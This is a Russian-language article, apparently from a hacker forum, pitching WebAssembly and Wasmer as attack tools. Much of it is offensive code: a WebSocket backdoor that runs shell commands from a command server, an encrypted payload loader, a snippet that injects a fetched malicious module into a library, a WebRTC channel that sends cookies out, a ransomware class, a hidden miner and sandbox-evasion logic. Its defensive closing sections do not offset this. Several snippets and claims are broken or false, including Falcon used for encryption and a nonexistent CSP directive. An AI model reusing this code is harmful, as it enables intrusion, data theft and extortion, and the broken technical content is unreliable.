Wasmer же - это среда выполнения для WebAssembly за пределами браузера. По сути, если говорить с большой натяжкой и допущениями, то Wasmer для Wasm - то же самое, что Node.js для Javascript'а. С ее помощью ты можешь запускать Wasm- модули где угодно: на сервере, в IoT-устройствах, в своем умном доме. Также Wasmer позволяет интегрировать Wasm-модули в приложения на разных языках программирования. Хочешь использовать крутую библиотеку на C++ в своем Python- скрипте? Не проблема! Скомпилируй ее в WebAssembly и запусти через Wasmer.
Короче, у меня субъективно сложилось такое ощущение, что Wasm целится в нишу "язык для всего на свете, запускаемый на любых плотформах и теперь еще и банановый". Ну да ладно, БГ им судья с их маркетинговыми игрищами, нас же больше интересует практическое применение этого зверя и то, какие возможности конкретно для нас он открывает.
А по факту-то WebAssembly и Wasmer открывают кучу возможностей для атакующих. Да-да, ты правильно понял - ВОЗМОЖНОСТИ.
Во-первых, Wasm предоставляет отличные возможности для обфускации кода. Попробуй-ка разобрать бинарный Wasm-модуль - это тебе не JavaScript читать! Во-вторых, высокая производительность Wasm делает его идеальным инструментом для создания эффективных майнеров криптовалют или ботнетов. В-третьих, кросс- платформенность Wasm и Wasmer позволяет создавать вредоносное ПО, работающее на любых устройствах - от смартфонов до серверов. Но не спеши потирать руки в предвкушении - мы здесь не для того, чтобы учить тебя взламывать чужие системы. Наша задача для начала - понять, как работают эти технологии.
Итак, давай разберем WebAssembly по косточкам. Представь, что Wasm - это
своего рода цифровой трансформер, способный принимать форму нативного кода для
любой платформы.
Ключевые особенности архитектуры WebAssembly:
Вот пример простого Wasm-модуля в текстовом формате (WAT):
Code:Copy to clipboard
(module
(func $add (param $a i32) (param $b i32) (result i32)
local.get $a
local.get $b
i32.add)
(export "add" (func $add))
)
Этот малыш просто складывает два числа., но в бинарном формате после компиляции он будет выглядеть куда более загадочно - с первого взгляда точно не получится понять что оно там делает на самом деле, особенно фронтендерам, которые для того и пошли во фронт, чтоб со всей этой лоулевел дичью не сталкиваться.
Окей, с WebAssembly плюс минус разобрались. Это не веб и не ассемблер. Теперь давай поговорим о Wasmer. Если WebAssembly - это наш цифровой жук-трансформер, то Wasmer - это портал, который позволяет ему выйти за пределы браузера в реальный мир. Ключевыми компонентами являются комплиятор, (преобразующий бинарный Wasm-код в нативный машинный код; среда выполнения (управляет выполнением скомпилированного кода); система, обеспечивающая изоляцию и управление линейной памятью; и система импорта/экспорта, позволяющая модулям взаимодейстовать с хост-системой.
Вот пример использования Wasmer для выполнения нашего простого Wasm-модуля:
Code:Copy to clipboard
use wasmer::{Store, Module, Instance, Value, imports};
fn main() -> anyhow::Result<()> {
let wasm_bytes = include_bytes!("add.wasm");
let store = Store::default();
let module = Module::new(&store, wasm_bytes)?;
let import_object = imports! {};
let instance = Instance::new(&module, &import_object)?;
let add = instance.exports.get_function("add")?;
let result = add.call(&[Value::I32(5), Value::I32(37)])?;
println!("Result: {:?}", result[0]);
Ok(())
}
Выглядит безобидно, правда? Но представь, что вместо сложения чисел этот код выполняет несанкционированный доступ к файловой системе или сбор конфиденциальной информации - никто же в реальности не пойдет ковырять код чего-то с лиспообразным синтаксисом и разбираться реально что там происходит. Сложение значит сложение, так и запишем. И эта бесшовная интеграция для возможности "запуска где угодно" как раз таки играет нам на руку.
Окей с потенциальными угрозами все понятно. А теперь давайте немного поиграем за синюю команду и поймем, а какие вообще механизмы защиты предлагает нам Wasm? Чем же и как WebAssembly и Wasmer пытаются защититься?
Основными методами на данный момент являются песочница, строгая проверка типов, контроль доступа к памяти и ограниченный набор инструкций. Как говорится - сомнительно, но окэээй. Обсуждение эффективности данных методов защиты можем перенести в комментарии к статье, а я пока продолжу.
пользователей"
Пришло время поговорить о сладком. Почему WebAssembly и Wasmer могут быть настоящей конфеткой для атакующих? Давайте разберемся и рассмотрим гипотетические примеры сферических коней в вакууме.
Этот код может быть скомпилирован в WebAssembly и использован для быстрых вычислений прямо в браузере. Может быть полезно, например, для распределенного взлома паролей или анализа больших объемов данных:
C++:Copy to clipboard
#include <emscripten/emscripten.h>
#include <cmath>
extern "C" {
EMSCRIPTEN_KEEPALIVE
double compute_pi(int iterations) {
double pi = 0.0;
double sign = 1.0;
for (int i = 0; i < iterations; ++i) {
pi += sign / (2 * i + 1);
sign *= -1;
}
return 4 * pi;
}
}
Раньше, если вы хотели создать вредоносное ПО, работающий на разных платформах, вам приходилось писать отдельные версии для Windows, Linux, macOS и мобильных устройств. С WebAssembly эта головная боль уходит в прошлое.
Вот пример кросс-платформенного Wasm-модуля:
Code:Copy to clipboard
use wasm_bindgen::prelude::*;
#[wasm_bindgen]
pub fn encrypt(data: &str, key: &str) -> String {
let mut result = String::new();
for (i, c) in data.chars().enumerate() {
let key_char = key.chars().nth(i % key.len()).unwrap();
let encrypted_char = ((c as u8 + key_char as u8) % 128) as char;
result.push(encrypted_char);
}
result
}
#[wasm_bindgen]
pub fn decrypt(data: &str, key: &str) -> String {
let mut result = String::new();
for (i, c) in data.chars().enumerate() {
let key_char = key.chars().nth(i % key.len()).unw
let key_char = key.chars().nth(i % key.len()).unwrap();
let decrypted_char = ((c as u8 + 128 - key_char as u8) % 128) as char;
result.push(decrypted_char);
}
result
}
Этот код может быть скомпилирован в WebAssembly и использован как в браузере, так и в других средах выполнения Wasm. Один код - множество целей.
Бинарный формат Wasm сложнее анализировать, чем исходный код на языках высокого уровня. Скомпилированный код, представленный ниже, намного сложнее будет анализировать, чем обычный JavaScript или даже нативный бинарный код.
Как можно использовать WebAssembly для обфускации вредоносного кода:
C:Copy to clipboard
#include <emscripten/emscripten.h>
#include <stdlib.h>
#include <string.h>
// Простая функция шифрования XOR
void xor_encrypt(char* data, const char* key, int len) {
int key_len = strlen(key);
for (int i = 0; i < len; i++) {
data[i] ^= key[i % key_len];
}
}
// Обфусцированный вредоносный код
const char encrypted_payload[] = {
/* зашифрованные байты вредоносного кода */
0x12, 0x34, 0x56, 0x78, /* ... */
};
EMSCRIPTEN_KEEPALIVE
void run_payload(const char* key) {
int len = sizeof(encrypted_payload);
char* payload = malloc(len);
memcpy(payload, encrypted_payload, len);
xor_encrypt(payload, key, len);
// Выполнение расшифрованного кода
((void (*)(void))payload)();
free(payload);
}
Представьте, что вы можете взять популярную JavaScript библиотеку и незаметно добавить в нее Wasm-модуль с дополнительной "функциональностью".
Пример такого "улучшения" легитимной библиотеки:
JavaScript:Copy to clipboard
// Легитимный код библиотеки
export function someFunction() {
// ...
}
// Вредоносный код, загружающий Wasm-модуль
(async () => {
const response = await fetch('malicious.wasm');
const buffer = await response.arrayBuffer();
const module = await WebAssembly.instantiate(buffer);
module.instance.exports.maliciousFunction();
})();
Вдумчивый читатель также заметит, что инициация модуля происходит на лету прямо из буфера, а значит полезная нагрузка не обязательно должна храниться локально или вообще присутствовать в сорцах - она может быть подгружена динамически.
Здесь код загружает и выполняет Wasm-модуль в нативном приложении, потенциально обходя некоторые системные механизмы безопасности:
Code:Copy to clipboard
use wasmer::{Store, Module, Instance, imports};
fn main() -> Result<(), Box<dyn std::error::Error>> {
let wasm_bytes = include_bytes!("potentially_malicious.wasm");
let store = Store::default();
let module = Module::new(&store, wasm_bytes)?;
let import_object = imports! {};
let instance = Instance::new(&module, &import_object)?;
let execute = instance.exports.get_function("execute")?;
execute.call(&[])?;
Ok(())
}
Вы можете динамически генерировать и модифицировать Wasm-модули, создавая уникальные экземпляры вредоносного кода для каждой цели.
Пример создания простого полиморфного Wasm-модуля, код генерирует случайную математическую функцию, которая будет уникальной для каждого семени:
Code:Copy to clipboard
use wasm_bindgen::prelude::*;
use rand::Rng;
#[wasm_bindgen]
pub fn generate_polymorphic_function(seed: u32) -> js_sys::Function {
let mut rng = rand::rngs::StdRng::seed_from_u64(seed as u64);
let operation = match rng.gen_range(0..4) {
0 => "+",
1 => "-",
2 => "*",
_ => "/",
};
let constant = rng.gen_range(1..100);
let js_code = format!(
"return function(x) {{ return x {} {}; }}",
operation, constant
);
js_sys::Function::new_no_args(&js_code)
}
(IDS/IPS)
WebAssembly помогает обойти традиционные системы обнаружения и предотвращения вторжений по нескольким причинам:
Динамической загрузка зашифрованного Wasm-модуля, расшифровка и выполнение:
JavaScript:Copy to clipboard
// Функция для расшифровки данных
function decrypt(data, key) {
return data.split('').map((char, index) =>
String.fromCharCode(char.charCodeAt(0) ^ key.charCodeAt(index % key.length))
).join('');
}
// Загрузка и расшифровка Wasm-модуля
async function loadEncryptedWasm(url, key) {
const response = await fetch(url);
const encryptedData = await response.text();
const decryptedData = decrypt(encryptedData, key);
const wasmModule = await WebAssembly.compile(
Uint8Array.from(decryptedData.split('').map(char => char.charCodeAt(0)))
);
return WebAssembly.instantiate(wasmModule);
}
// Использование
loadEncryptedWasm('encrypted_module.wasm', 'secret_key')
.then(instance => {
const { malicious_function } = instance.exports;
malicious_function();
});
Высокая производительность Wasm позволяет реализовывать продвинутые техники эксплуатации уязвимостей, такие как ROP (Return-Oriented Programming) или JOP (Jump-Oriented Programming).
Создадим простую ROP-цепочку, которую можно использовать для обхода защитных механизмов, таких как DEP или ASLR:
Code:Copy to clipboard
use wasm_bindgen::prelude::*;
#[wasm_bindgen]
pub struct ROPChain {
gadgets: Vec<u32>,
}
#[wasm_bindgen]
impl ROPChain {
#[wasm_bindgen(constructor)]
pub fn new() -> ROPChain {
let gadgets = vec![
0x58585858, // pop rax ; pop rax ; pop rax ; pop rax ; ret
0x5a5a5a5a, // pop rdx ; pop rdx ; pop rdx ; pop rdx ; ret
0x5959595959, // pop rcx ; pop rcx ; pop rcx ; pop rcx ; pop rcx ; ret
];
ROPChain { gadgets }
}
pub fn create_rop_chain(&self, base_address: u32) -> Vec<u8> {
let mut rop_chain = Vec::new();
for gadget in &self.gadgets {
rop_chain.extend_from_slice(&(gadget + base_address).to_le_bytes());
}
rop_chain
}
}
Вы можете создать Wasm-модуль, который будет выполнять функции бэкдора, и внедрить его в легитимное веб-приложение. Бэкдор устанавливает WebSocket соединение с управляющим сервером и выполняет полученные команды:
Code:Copy to clipboard
use wasm_bindgen::prelude::*;
use web_sys::{WebSocket, MessageEvent};
use js_sys::Function;
#[wasm_bindgen]
pub struct Backdoor {
ws: WebSocket,
}
#[wasm_bindgen]
impl Backdoor {
#[wasm_bindgen(constructor)]
pub fn new(url: &str) -> Result<Backdoor, JsValue> {
let ws = WebSocket::new(url)?;
let onmessage = Closure::wrap(Box::new(move |e: MessageEvent| {
if let Ok(cmd) = e.data().dyn_into::<js_sys::JsString>() {
// Выполнение полученной команды
let result = std::process::Command::new("sh")
.arg("-c")
.arg(cmd.as_string().unwrap())
.output()
.expect("Failed to execute command");
let output = String::from_utf8_lossy(&result.stdout);
ws.send_with_str(&output).unwrap();
}
}) as Box<dyn FnMut(MessageEvent)>);
ws.set_onmessage(Some(onmessage.as_ref().unchecked_ref()));
onmessage.forget();
Ok(Backdoor { ws })
}
}
WebAssembly идеально подходит для создания эффективных майнеров крипты, которые могут работать прямо в браузере пользователя. Высокая производительность Wasm позволяет достичь скорости майнинга, близкой к нативным реализациям. Код реализует простой алгоритм майнинга, который может быть легко интегрирован в веб-страницу для скрытого майнинга:
Code:Copy to clipboard
use wasm_bindgen::prelude::*;
use sha2::{Sha256, Digest};
#[wasm_bindgen]
pub struct Block {
pub nonce: u32,
pub data: String,
}
#[wasm_bindgen]
impl Block {
#[wasm_bindgen(constructor)]
pub fn new(data: &str) -> Block {
Block {
nonce: 0,
data: data.to_string(),
}
}
pub fn mine(&mut self, difficulty: u32) -> bool {
let target = 2u32.pow(256 - difficulty);
let mut hasher = Sha256::new();
hasher.update(format!("{}{}", self.data, self.nonce));
let result = hasher.finalize();
let hash_value = u32::from_be_bytes([result[0], result[1], result[2], result[3]]);
if hash_value < target {
true
} else {
self.nonce += 1;
false
}
}
}
Ну что же, с особенностями применения для "продвинутых пользователей" разобрались, а теперь я снова приглашаю всех читателей переметнуться на синюю сторону поля и посмотреть на WebAssembly с точки зрения защиты и выявления потенциальных угроз. Ну или как унести воду в решете, тут на ваш вкус.
Итак, мы рассмотрели, как WebAssembly может быть использован для создания продвинутых "инструментов безопасности". Теперь давайте посмотрим на обратную сторону медали - как выявлять и анализировать вредоносные Wasm-модули.
Статический анализ - это как разглядывание подозрительной посылки через
рентген. Мы пытаемся понять, что внутри, не открывая коробку. Для WebAssembly
это может быть непростой задачей, но у нас есть несколько трюков в рукаве.
Давайте посмотрим на простой инструмент, который использует библиотеку wasm
для дизассемблирования Wasm-модуля. Он выводит инструкции каждой функции, что
может помочь обнаружить подозрительное поведение:
Python:Copy to clipboard
from wasm import decode_module
def disassemble_wasm(wasm_bytes):
module = decode_module(wasm_bytes)
for section in module.sections:
if section.id == 10: # Code section
for func_body in section.payload.bodies:
print("Function:")
for instr in func_body.code.instructions:
print(f" {instr.op.mnemonic} {' '.join(map(str, instr.imm))}")
# Использование:
with open("suspicious.wasm", "rb") as f:
wasm_bytes = f.read()
disassemble_wasm(wasm_bytes)
Если статический анализ - это рентген, то динамический анализ - это вскрытие подозрительной посылки в защищенной лаборатории. Мы запускаем код и смотрим, что он делает. А именно - загружаем Wasm-модуль и перехватываем вызовы функций, выводя информацию о них. Это может помочь нам понять, что делает модуль во время выполнения
JavaScript:Copy to clipboard
const fs = require('fs');
const util = require('util');
const readFile = util.promisify(fs.readFile);
async function traceWasm(wasmPath) {
const wasmBuffer = await readFile(wasmPath);
const wasmModule = await WebAssembly.compile(wasmBuffer);
const importObject = {
env: {
trace: (funcIndex, args) => {
console.log(`Called function ${funcIndex} with args: ${args}`);
}
}
};
const instance = await WebAssembly.instantiate(wasmModule, importObject);
return instance.exports;
}
// Использование:
traceWasm('suspicious.wasm').then(exports => {
exports.suspiciousFunction(42);
});
Также при динамическом анализе важно помнить, что некоторые продвинутые вредоносные программы могут определять, что они запущены в среде анализа, и менять свое поведение. Вот пример, который проверяет время выполнения операции и меняет свое поведение, если оно слишком короткое:
Code:Copy to clipboard
use wasm_bindgen::prelude::*;
use web_sys::Performance;
#[wasm_bindgen]
pub fn evasive_function() {
let window = web_sys::window().unwrap();
let performance = window.performance().unwrap();
let start = performance.now();
// Выполняем какие-то вычисления
for i in 0..1000000 {
std::hint::black_box(i);
}
let end = performance.now();
if end - start < 100.0 { // Если выполнение слишком быстрое, возможно, мы в среде анализа
// Выполняем безобидный код
println!("Nothing to see here!");
} else {
// Выполняем вредоносный код
println!("Haha, got you!");
}
}
Иногда вредоносный Wasm-модуль можно обнаружить по его поведению или использованию ресурсов. Например, майнер криптовалют будет интенсивно использовать CPU. Чтобы обнаружить скрытые майнеры или другие вредоносные программы, интенсивно использующие ресурсы, необходимо отследить использование оперативки и сделать оповещение, если оно превышает определенный порог. Мониторинг использования CPU в браузере можно реализовать например вот так:
JavaScript:Copy to clipboard
class CPUMonitor {
constructor(threshold = 0.8, interval = 1000) {
this.threshold = threshold;
this.interval = interval;
this.isRunning = false;
}
start() {
if (this.isRunning) return;
this.isRunning = true;
const checkCPU = () => {
if (!this.isRunning) return;
const startTime = performance.now();
const startCycles = performance.now();
setTimeout(() => {
const endTime = performance.now();
const endCycles = performance.now();
const usage = (endCycles - startCycles) / (endTime - startTime);
if (usage > this.threshold) {
console.warn(`High CPU usage detected: ${usage.toFixed(2)}`);
// Здесь можно добавить код для остановки подозрительных операций
}
checkCPU();
}, this.interval);
};
checkCPU();
}
stop() {
this.isRunning = false;
}
}
const monitor = new CPUMonitor();
monitor.start();
Многие вредоносные программы нуждаются в сетевом взаимодействии - для получения команд, отправки полученных данных или обновления своего кода. Мониторинг сетевой активности может помочь обнаружить такое поведение. Вот пример как можно это реализовать с помощью простого кода, который перехватывает все XMLHttpRequest и логирует URL запросов и ответов:
JavaScript:Copy to clipboard
(function() {
var origOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function() {
console.log('Request to ' + arguments[1]);
if (this.addEventListener) {
this.addEventListener('load', function() {
console.log('Response from ' + this.responseURL);
}, false);
}
origOpen.apply(this, arguments);
};
})();
Опять же, важно помнить что есть "продвинутый" уровень. Продвинутые вредоносные программы используют WebSocket или даже WebRTC для скрытой коммуникации. Для примера скрытый канал связи через WebRTC, который может быть использован для получения команд и отправки украденных данных:
JavaScript:Copy to clipboard
const pc = new RTCPeerConnection();
const dc = pc.createDataChannel("secret channel");
dc.onmessage = e => {
// Обработка полученных команд
console.log("Received command: " + e.data);
};
dc.onopen = () => {
// Отправка украденных данных
dc.send("stolen_data: " + document.cookie);
};
// Настройка соединения с C&C сервером
// ...
Не намного сложнее, чем на запросах, и плюс минус так же просто, как через вебсокет, поэтому про такой способ коммуникации тоже необходимо помнить и также анализировать такие виды траффика.
А сейчас немного предлагаю пофантазировать и посмотреть на WebAssembly с точки зрения перспективы (и снова перейти на красную сторону площадки).
Мы с вами уже прошли долгий путь. Мы нырнули в глубины WebAssembly, исследовали его темные уголки, посмотрели на потенциальные возможности и на механизмы анализа, но наше путешествие еще не закончено. Давайте заглянем в будущее и попробуем представить, что ждет нас на горизонте WebAssembly и кибербезопасности.
Что произойдет, если WebAssembly начнут пихать везде и всюду (как это декламируют на сайте) и к каким последствиям может привести мультиязычная универсальная вм с возможностью запуска на чем угодно.
Представьте себе WebAssembly, который может напрямую взаимодействовать с оборудованием. Сейчас есть определенный уровень изоляции, но что если его уберут или что если он обходится? Вот пример потенциального вредоносного ПО будущего, которое может шифровать файлы прямо из Wasm-модуля, :
Code:Copy to clipboard
#[wasm_bindgen]
pub struct FutureRansomware {
encryption_key: Vec<u8>,
}
#[wasm_bindgen]
impl FutureRansomware {
#[wasm_bindgen(constructor)]
pub fn new() -> FutureRansomware {
let mut rng = rand::thread_rng();
let encryption_key: Vec<u8> = (0..32).map(|_| rng.gen()).collect();
FutureRansomware { encryption_key }
}
pub fn encrypt_file(&self, file_path: &str) -> Result<(), JsValue> {
let mut file = std::fs::File::open(file_path)?;
let mut contents = Vec::new();
file.read_to_end(&mut contents)?;
let encrypted = contents.iter()
.zip(self.encryption_key.iter().cycle())
.map(|(&byte, &key)| byte ^ key)
.collect::<Vec<u8>>();
std::fs::write(file_path, encrypted)?;
Ok(())
}
pub fn demand_ransom(&self) -> String {
"Отправьте 1 BTC на адрес 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa, или ваши файлы останутся зашифрованными навсегда!".to_string()
}
}
Полиморфный, динамически подгружаемый (бесфайловый по сути) рансом, который можно запускать "на чем угодно". Бррррррр.
Пандоры?
С развитием квантовых вычислений, шифрование тоже должно эволюционировать. WebAssembly может стать отличной платформой для реализации квантово-устойчивых алгоритмов шифрования. Код ниже демонстрирует, как WebAssembly может быть использован для реализации пост-квантовых алгоритмов шифрования. С одной стороны, это отличная защита от квантовых атак. С другой - такое мощное шифрование в руках злоумышленников может стать настоящей проблемой:
Code:Copy to clipboard
use pqcrypto_falcon::falcon512;
#[wasm_bindgen]
pub struct QuantumSafeEncryption {
public_key: falcon512::PublicKey,
secret_key: falcon512::SecretKey,
}
#[wasm_bindgen]
impl QuantumSafeEncryption {
#[wasm_bindgen(constructor)]
pub fn new() -> QuantumSafeEncryption {
let (pk, sk) = falcon512::keypair();
QuantumSafeEncryption { public_key: pk, secret_key: sk }
}
pub fn encrypt(&self, message: &[u8]) -> Vec<u8> {
falcon512::encrypt(&self.public_key, message)
}
pub fn decrypt(&self, ciphertext: &[u8]) -> Result<Vec<u8>, JsValue> {
falcon512::decrypt(&self.secret_key, ciphertext)
.map_err(|e| JsValue::from_str(&format!("Decryption error: {:?}", e)))
}
}
Представьте себе вредоносное ПО, которое может обучаться и адаптироваться. Звучит как сюжет для фильма ужасов, правда? Но с развитием технологий искусственного интеллекта и возможностью их интеграции с WebAssembly, это может стать реальностью. Пример вредоносного ПО, которое использует простую нейронную сеть для анализа окружения и выбора наиболее эффективного метода атаки. Оно может обучаться на основе успешности предыдущих атак, постоянно адаптируясь к новым условиям и мерам защиты
Code:Copy to clipboard
use wasm_bindgen::prelude::*;
use rust_nn::{NeuralNetwork, Layer, Activation};
#[wasm_bindgen]
pub struct AdaptiveMalware {
nn: NeuralNetwork,
}
#[wasm_bindgen]
impl AdaptiveMalware {
#[wasm_bindgen(constructor)]
pub fn new() -> AdaptiveMalware {
let mut nn = NeuralNetwork::new();
nn.add_layer(Layer::new(10, 20, Activation::ReLU));
nn.add_layer(Layer::new(20, 5, Activation::Sigmoid));
AdaptiveMalware { nn }
}
pub fn analyze_environment(&mut self, input: Vec<f64>) -> Vec<f64> {
self.nn.forward(&input)
}
pub fn learn(&mut self, input: Vec<f64>, expected: Vec<f64>) {
self.nn.backward(&input, &expected);
}
pub fn choose_attack(&self, environment: Vec<f64>) -> String {
let output = self.analyze_environment(environment);
match output.iter().position(|&r| r == output.iter().cloned().fold(0./0., f64::max)) {
Some(0) => "Шифрование файлов".to_string(),
Some(1) => "Кража данных".to_string(),
Some(2) => "DDoS атака".to_string(),
Some(3) => "Майнинг криптовалюты".to_string(),
Some(4) => "Распространение".to_string(),
_ => "Бездействие".to_string(),
}
}
}
Помните, что те же технологии могут быть использованы и для защиты. Например, вот как может выглядеть ИИ-система обнаружения вторжений на основе WebAssembly. Система использует нейронную сеть для анализа состояния системы и определения, происходит ли вторжение. Она может обучаться на новых данных, постоянно улучшая свою способность обнаруживать даже самые изощренные атаки:
Code:Copy to clipboard
use wasm_bindgen::prelude::*;
use rust_nn::{NeuralNetwork, Layer, Activation};
#[wasm_bindgen]
pub struct AIIntrustionDetectionSystem {
nn: NeuralNetwork,
}
#[wasm_bindgen]
impl AIIntrustionDetectionSystem {
#[wasm_bindgen(constructor)]
pub fn new() -> AIIntrustionDetectionSystem {
let mut nn = NeuralNetwork::new();
nn.add_layer(Layer::new(100, 50, Activation::ReLU));
nn.add_layer(Layer::new(50, 25, Activation::ReLU));
nn.add_layer(Layer::new(25, 1, Activation::Sigmoid));
AIIntrustionDetectionSystem { nn }
}
pub fn detect_intrusion(&self, system_state: Vec<f64>) -> f64 {
self.nn.forward(&system_state)[0]
}
pub fn train(&mut self, system_state: Vec<f64>, is_intrusion: bool) {
let expected = vec![if is_intrusion { 1.0 } else { 0.0 }];
self.nn.backward(&system_state, &expected);
}
}
безопасности?
С развитием квантовых вычислений многие существующие методы шифрования станут уязвимыми. Но WebAssembly может стать платформой для реализации пост-квантовых алгоритмов шифрования. Использование алгоритма Kyber, одного из кандидатов на стандарт пост-квантовой криптографии, в WebAssembly. Такие алгоритмы могут обеспечить безопасность даже в эпоху квантовых компьютеров:
Code:Copy to clipboard
use wasm_bindgen::prelude::*;
use pqcrypto_kyber::kyber768;
#[wasm_bindgen]
pub struct PostQuantumEncryption {
public_key: kyber768::PublicKey,
secret_key: kyber768::SecretKey,
}
#[wasm_bindgen]
impl PostQuantumEncryption {
#[wasm_bindgen(constructor)]
pub fn new() -> PostQuantumEncryption {
let (pk, sk) = kyber768::keypair();
PostQuantumEncryption { public_key: pk, secret_key: sk }
}
pub fn encrypt(&self, message: &[u8]) -> Vec<u8> {
let (ss, ct) = kyber768::encapsulate(&self.public_key);
let mut encrypted = ct.to_vec();
for (m, s) in message.iter().zip(ss.iter()) {
encrypted.push(m ^ s);
}
encrypted
}
pub fn decrypt(&self, ciphertext: &[u8]) -> Result<Vec<u8>, JsValue> {
let ct_len = kyber768::CIPHERTEXT_BYTES;
let ct = kyber768::Ciphertext::from_bytes(&ciphertext[..ct_len])
.map_err(|e| JsValue::from_str(&format!("Invalid ciphertext: {:?}", e)))?;
let ss = kyber768::decapsulate(&ct, &self.secret_key);
Ok(ciphertext[ct_len..].iter().zip(ss.iter()).map(|(&c, &s)| c ^ s).collect())
}
}
С распространением Интернета вещей (IoT), WebAssembly может стать идеальной платформой для создания легковесных, эффективных и кросс-платформенных приложений для IoT устройств. Но это также открывает новый фронт для кибератак. Простой ботнет для IoT устройств, который может выполнять различные вредоносные действия по команде из центра управления:
Code:Copy to clipboard
use wasm_bindgen::prelude::*;
#[wasm_bindgen]
pub struct IoTBotnet {
command_center: String,
}
#[wasm_bindgen]
impl IoTBotnet {
#[wasm_bindgen(constructor)]
pub fn new(cc: &str) -> IoTBotnet {
IoTBotnet { command_center: cc.to_string() }
}
pub fn connect(&self) -> Result<(), JsValue> {
// Код для подключения к командному центру
Ok(())
}
pub fn execute_command(&self, command: &str) -> Result<(), JsValue> {
match command {
"ddos" => self.start_ddos(),
"mine" => self.start_mining(),
"spread" => self.spread_to_other_devices(),
_ => Err(JsValue::from_str("Unknown command")),
}
}
fn start_ddos(&self) -> Result<(), JsValue> {
// Код для начала DDoS атаки
Ok(())
}
fn start_mining(&self) -> Result<(), JsValue> {
// Код для начала майнинга криптовалюты
Ok(())
}
fn spread_to_other_devices(&self) -> Result<(), JsValue> {
// Код для распространения на другие устройства
Ok(())
}
}
Но не все так мрачно! WebAssembly также может быть использован для защиты IoT устройств. Вот например, эта система использует простое евклидово расстояние для определения, насколько текущее поведение устройства отличается от нормального. Если отклонение превышает заданный порог, система сигнализирует о возможном вторжении:
Code:Copy to clipboard
use wasm_bindgen::prelude::*;
#[wasm_bindgen]
pub struct IoTIDS {
normal_behavior: Vec<f64>,
threshold: f64,
}
#[wasm_bindgen]
impl IoTIDS {
#[wasm_bindgen(constructor)]
pub fn new(normal: Vec<f64>, thresh: f64) -> IoTIDS {
IoTIDS { normal_behavior: normal, threshold: thresh }
}
pub fn detect_anomaly(&self, current_behavior: Vec<f64>) -> bool {
let distance = self.calculate_distance(¤t_behavior);
distance > self.threshold
}
fn calculate_distance(&self, behavior: &Vec<f64>) -> f64 {
self.normal_behavior.iter()
.zip(behavior.iter())
.map(|(&n, &c)| (n - c).powi(2))
.sum::<f64>()
.sqrt()
}
}
Как вы поняли, это бесконечная игра в кошки-мышки. WebAssembly открывает огромные возможности для создания эффективных, кросс-платформенных приложений. Но в то же время, оно предоставляет новые инструменты для злоумышленников. Искусственный интеллект, квантовые вычисления, Интернет вещей - все эти технологии в сочетании с WebAssembly могут стать как мощным оружием, так и надежным щитом.
Ну и в завершение, хочу все таки еще раз шагнуть на синюю сторону и показать, как теоретически можно защититься от теоретических сферических коней в вакууме, которых мы тут напридумывали.
Итак, друзья-параноики (в хорошем смысле этого слова), мы добрались до самого вкусного - как защититься от всех этих коварных WebAssembly-атак, о которых мы узнали. Пристегните ремни, мы отправляемся в мир цифровых крепостей и файерволов!
Первое правило клуба WebAssembly - никогда не доверяй Wasm-модулям. Даже если они говорят, что просто хотят посчитать числа Фибоначчи.
Вот пример того, как можно создать простую песочницу для выполнения Wasm- модулей и спать спокойно:
JavaScript:Copy to clipboard
class WasmSandbox {
constructor() {
this.memory = new WebAssembly.Memory({ initial: 1 });
this.table = new WebAssembly.Table({ initial: 0, element: 'anyfunc' });
}
async run(wasmModule, functionName, ...args) {
const importObject = {
env: {
memory: this.memory,
table: this.table,
abort: () => { throw new Error('Abort called from Wasm module'); }
}
};
const instance = await WebAssembly.instantiate(wasmModule, importObject);
const func = instance.exports[functionName];
if (typeof func !== 'function') {
throw new Error(`Function "${functionName}" not found in Wasm module`);
}
return func(...args);
}
}
// Использование:
const sandbox = new WasmSandbox();
fetch('suspicious.wasm')
.then(response => response.arrayBuffer())
.then(bytes => sandbox.run(bytes, 'main', 42))
.then(result => console.log('Result:', result))
.catch(error => console.error('Error:', error));
Эта песочница ограничивает доступ Wasm-модуля к памяти и таблице функций, а
также перехватывает вызовы abort
. Это уже неплохая защита, но помните - нет
такой песочницы, которую нельзя было бы просыпать!
Content Security Policy (CSP) - это как строгий вышибала в клубе, который решает, кому можно войти, а кому нет. Вот пример CSP, который ограничивает выполнение WebAssembly:
HTML:Copy to clipboard
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval'; wasm-eval 'none';">
Это отключает выполнение WebAssembly полностью. Но что, если нам нужен Wasm для легитимных целей? Тогда можно использовать более гибкую политику:
HTML:Copy to clipboard
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval'; wasm-eval 'self';">
Это разрешает выполнение только тех Wasm-модулей, которые загружены с того же источника, что и сама страница.
Даже если вредоносный Wasm-модуль прорвется через все барьеры, мы все еще можем ограничить ущерб, контролируя использование ресурсов. Вот пример кода, который ограничивает время выполнения Wasm-функции:
JavaScript:Copy to clipboard
function runWithTimeout(func, timeout, ...args) {
return new Promise((resolve, reject) => {
const timeoutId = setTimeout(() => {
reject(new Error('Function execution timed out'));
}, timeout);
try {
const result = func(...args);
clearTimeout(timeoutId);
resolve(result);
} catch (error) {
clearTimeout(timeoutId);
reject(error);
}
});
}
// Использование:
const wasmInstance = /* ... */;
runWithTimeout(wasmInstance.exports.suspiciousFunction, 1000, 42)
.then(result => console.log('Result:', result))
.catch(error => console.error('Error:', error));
Этот код прерывает выполнение функции, если оно занимает больше 1 секунды. Прощай, скрытый майнинг!
Когда дело доходит до WebAssembly, мы должны быть как Фома неверующий - не верить, пока не потрогаем. И в нашем случае "потрогать" означает проверить целостность Wasm-модуля перед его выполнением.
Вот пример кода, который проверяет хеш Wasm-модуля перед его загрузкой:
JavaScript:Copy to clipboard
async function loadAndVerifyWasmModule(url, expectedHash) {
const response = await fetch(url);
const buffer = await response.arrayBuffer();
const hashBuffer = await crypto.subtle.digest('SHA-256', buffer);
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
if (hashHex !== expectedHash) {
throw new Error('WebAssembly module integrity check failed');
}
const module = await WebAssembly.compile(buffer);
return WebAssembly.instantiate(module);
}
// Использование:
const expectedHash = 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855';
loadAndVerifyWasmModule('https://example.com/module.wasm', expectedHash)
.then(instance => {
// Использование проверенного модуля
})
.catch(error => console.error('Failed to load or verify module:', error));
